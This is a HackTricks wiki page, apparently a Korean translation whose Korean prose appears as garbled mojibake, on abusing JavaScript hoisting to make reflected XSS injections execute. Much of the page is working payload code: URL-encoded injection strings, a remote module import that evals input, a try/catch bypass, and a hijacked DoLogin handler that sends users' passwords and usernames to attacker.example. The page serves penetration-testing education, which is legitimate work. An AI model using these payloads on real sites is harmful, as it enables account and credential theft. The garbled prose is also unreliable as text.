JS Hoisting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
JavaScript ์ธ์ด์๋ ์ ์ธ๋ ๋ณ์, ํจ์, ํด๋์ค ๋๋ import๊ฐ ์ฝ๋ ์คํ ์ ์ ๊ฐ๋ ์ ์ผ๋ก ์ค์ฝํ์ ๋งจ ์๋ก ๋์ด์ฌ๋ ค์ง๋ Hoisting์ด๋ผ๋ ๋ฉ์ปค๋์ฆ์ด ์์ต๋๋ค. ์ด ๊ณผ์ ์ JavaScript ์์ง์ด ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ๋ฌ ๋ฒ ํ์ด๊ฐ๋ฉฐ ์๋์ผ๋ก ์ํํฉ๋๋ค.
์ฒซ ๋ฒ์งธ ํจ์ค์์๋ ์์ง์ด ๊ตฌ๋ฌธ ์ค๋ฅ๋ฅผ ๊ฒ์ฌํ๊ณ ์ฝ๋๋ฅผ ์ถ์ ๊ตฌ๋ฌธ ํธ๋ฆฌ๋ก ๋ณํํ๊ธฐ ์ํด ํ์ฑํฉ๋๋ค. ์ด ๋จ๊ณ์๋ ํน์ ์ ์ธ๋ค์ ์คํ ์ปจํ ์คํธ์ ๋งจ ์๋ก ์ด๋์ํค๋ hoisting์ด ํฌํจ๋ฉ๋๋ค. ํ์ฑ ๋จ๊ณ๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์๋ฃ๋์ด ๊ตฌ๋ฌธ ์ค๋ฅ๊ฐ ์์ผ๋ฉด ์คํฌ๋ฆฝํธ ์คํ์ด ์งํ๋ฉ๋๋ค.
๋ค์ ์ ์ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
- ์คํฌ๋ฆฝํธ๋ ์คํ๋๊ธฐ ์ํด ๊ตฌ๋ฌธ ์ค๋ฅ๊ฐ ์์ด์ผ ํฉ๋๋ค. ๊ตฌ๋ฌธ ๊ท์น์ ์๊ฒฉํ ์ค์ํด์ผ ํฉ๋๋ค.
- ์คํฌ๋ฆฝํธ ๋ด ์ฝ๋์ ๋ฐฐ์น๊ฐ hoisting ๋๋ฌธ์ ์คํ์ ์ํฅ์ ๋ฏธ์น๋ฉฐ, ์ค์ ๋ก ์คํ๋๋ ์ฝ๋๋ ํ ์คํธ์์ ํํ๊ณผ ๋ค๋ฅผ ์ ์์ต๋๋ค.
Hoisting์ ์ข ๋ฅ
MDN์ ์ ๋ณด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก JavaScript์๋ ๋ค ๊ฐ์ง ๊ตฌ๋ณ๋๋ hoisting ์ ํ์ด ์์ต๋๋ค.
- Value Hoisting: ์ ์ธ๋ฌธ ์ด์ ์๋ ์ค์ฝํ ๋ด์์ ๋ณ์์ ๊ฐ์ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
- Declaration Hoisting: ์ ์ธ ์ด์ ์ ์ค์ฝํ ๋ด์์ ๋ณ์๋ฅผ ์ฐธ์กฐํด๋
ReferenceError๋ฅผ ๋ฐ์์ํค์ง ์์ง๋ง ๋ณ์์ ๊ฐ์undefined๊ฐ ๋ฉ๋๋ค. - ์ด ์ ํ์ ์ ์ธ๋ฌธ์ด ์ค์ ์ ์ธ ๋ผ์ธ๋ณด๋ค ์์์ ์ค์ฝํ ๋ด ๋์์ ๋ณ๊ฒฝํฉ๋๋ค.
- ์ ์ธ์ ๋ถ์์ฉ์ด ํด๋น ์ ์ธ์ ํฌํจํ๋ ๋๋จธ์ง ์ฝ๋๊ฐ ํ๊ฐ๋๊ธฐ ์ ์ ๋ฐ์ํฉ๋๋ค.
์์ธํ ๋ณด๋ฉด, ํจ์ ์ ์ธ์ type 1 hoisting ๋์์ ๋ณด์
๋๋ค. var ํค์๋๋ type 2 ๋์์ ๋ณด์
๋๋ค. let, const, class๋ฅผ ํฌํจํ๋ ๋ ์์ปฌ ์ ์ธ์ type 3 ๋์์ ๋ณด์
๋๋ค. ๋ง์ง๋ง์ผ๋ก import ๋ฌธ์ type 1๊ณผ type 4 ๋์์ ๋ชจ๋ ๊ฐ์ง๋ ๋
ํนํ ํน์ฑ์ ๊ฐ์ง๋๋ค.
์๋๋ฆฌ์ค
๋ฐ๋ผ์ ์ ์ธ๋์ง ์์ ๊ฐ์ฒด๊ฐ ์ฌ์ฉ๋ ๋ค์ Inject JS code after an undeclared objectํ ์ ์๋ ์๋๋ฆฌ์ค๊ฐ ์๋ค๋ฉด, ํด๋น ๊ฐ์ฒด๋ฅผ ์ ์ธํด์ fix the syntaxํ ์ ์๊ณ (๊ทธ๋ ๊ฒ ํ๋ฉด ์๋ฌ๋ฅผ ๋์ง๋ ๋์ ๋น์ ์ ์ฝ๋๊ฐ ์คํ๋ฉ๋๋ค):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesnยดt exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
์ถ๊ฐ ์๋๋ฆฌ์ค
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting to bypass exception handling
sink๊ฐ try { x.y(...) } catch { ... }๋ก ๊ฐ์ธ์ ธ ์์ผ๋ฉด, ReferenceError ๋๋ฌธ์ payload๊ฐ ์คํ๋๊ธฐ ์ ์ ์คํ์ด ์ค๋จ๋ฉ๋๋ค. ํธ์ถ์ด ์ด์๋จ๋๋ก ๋๋ฝ๋ ์๋ณ์๋ฅผ ๋ฏธ๋ฆฌ ์ ์ธํ๋ฉด ์ฃผ์
ํ ํํ์์ด ๋จผ์ ์คํ๋๊ฒ ํ ์ ์์ต๋๋ค:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) โ hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){}๋ ํ๊ฐ ์ ์ ํธ์ด์คํ
๋๋ฏ๋ก ํ์๊ฐ ๋ ์ด์ x.y(...)์์ ์์ธ๋ฅผ ๋์ง์ง ์์ต๋๋ค. prompt()๋ y๊ฐ ํด๊ฒฐ๋๊ธฐ ์ ์ ์คํ๋๊ณ , ๊ทธ ํ์ ๋น์ ์ ์ฝ๋๊ฐ ์คํ๋ ๋ค์ TypeError๊ฐ ๋ฐ์ํฉ๋๋ค.
๋์ค ์ ์ธ์ ๋ฐฉ์งํ๊ธฐ ์ํด const๋ก ์ด๋ฆ์ ๊ณ ์ ํ๊ธฐ
์ต์์์ function foo(){...}๊ฐ ํ์ฑ๋๊ธฐ ์ ์ ์คํํ ์ ์๋ค๋ฉด, ๋์ผํ ์ด๋ฆ์ผ๋ก ๋ ์์ปฌ ๋ฐ์ธ๋ฉ(์: const foo = ...)์ ์ ์ธํ๋ฉด ๋์ค์ ํจ์ ์ ์ธ์ด ๊ทธ ์๋ณ์๋ฅผ ์ฌ๋ฐ์ธ๋ฉํ๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ์ด๋ RXSS์์ ํ์ด์ง ํ๋ฐ์ ์ ์๋ ์ค์ํ ํธ๋ค๋ฌ๋ฅผ ํ์ทจํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
๋ ธํธ
- ์ด๊ฒ์ ์คํ ์์์ ์ ์ญ(์ต์์) ์ค์ฝํ์ ์์กดํฉ๋๋ค.
- ํ์ด๋ก๋๊ฐ
eval()๋ด๋ถ์์ ์คํ๋๋ค๋ฉด,eval๋ด๋ถ์const/let์ ๋ธ๋ก ์ค์ฝํ์ด๋ฏ๋ก ์ ์ญ ๋ฐ์ธ๋ฉ์ ์์ฑํ์ง ์๋๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์. ์ง์ ํ ์ ์ญconst๋ฅผ ์ค์ ํ๋ ค๋ฉด ํด๋น ์ฝ๋๋ฅผ ํฌํจํ ์๋ก์ด<script>์์๋ฅผ ์ฃผ์ ํ์ธ์.
์ฌ์ฉ์ ์ ์ด ์คํ ์ง์ ์์ ๋์ import()
์๋ฒ ์ฌ์ด๋ ๋ ๋๋ง๋ ์ฑ์ ๋๋๋ก ์ฌ์ฉ์ ์
๋ ฅ์ import()๋ก ์ ๋ฌํด ์ปดํฌ๋ํธ๋ฅผ ์ง์ฐ ๋ก๋ํฉ๋๋ค. import-in-the-middle ๊ฐ์ ๋ก๋๊ฐ ์์ผ๋ฉด, ์คํ ์ง์ ์๋ก๋ถํฐ ๋ํผ ๋ชจ๋์ด ์์ฑ๋ฉ๋๋ค. ํธ์ด์คํ
๋ import ํ๊ฐ๋ ์ดํ ๋ผ์ธ๋ณด๋ค ๋จผ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ชจ๋์ ๊ฐ์ ธ์ ์คํํ๋ฏ๋ก SSR ์ปจํ
์คํธ์์ RCE๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค (CVE-2023-38704 ์ฐธ์กฐ).
๋๊ตฌ
์ต์ ์ค์บ๋๋ค์ ๋ช
์์ ์ธ ํธ์ด์คํ
ํ์ด๋ก๋๋ฅผ ์ถ๊ฐํ๊ธฐ ์์ํ์ต๋๋ค. KNOXSS v3.6.5๋ โJS Injection with Single Quotes Fixing ReferenceError - Object Hoistingโ ๋ฐ โHoisting Overrideโ ํ
์คํธ ์ผ์ด์ค๋ฅผ ์ด๊ฑฐํฉ๋๋ค; ์ด๋ฅผ ReferenceError/TypeError๋ฅผ ๋ฐ์์ํค๋ RXSS ์ปจํ
์คํธ์ ์คํํ๋ฉด ํธ์ด์คํ
๊ธฐ๋ฐ ๊ฐ์ ฏ ํ๋ณด๋ฅผ ๋น ๋ฅด๊ฒ ๋๋ฌ๋
๋๋ค.
์ฐธ๊ณ ์๋ฃ
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From โLow-Impactโ RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage โ hoisting override cases
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


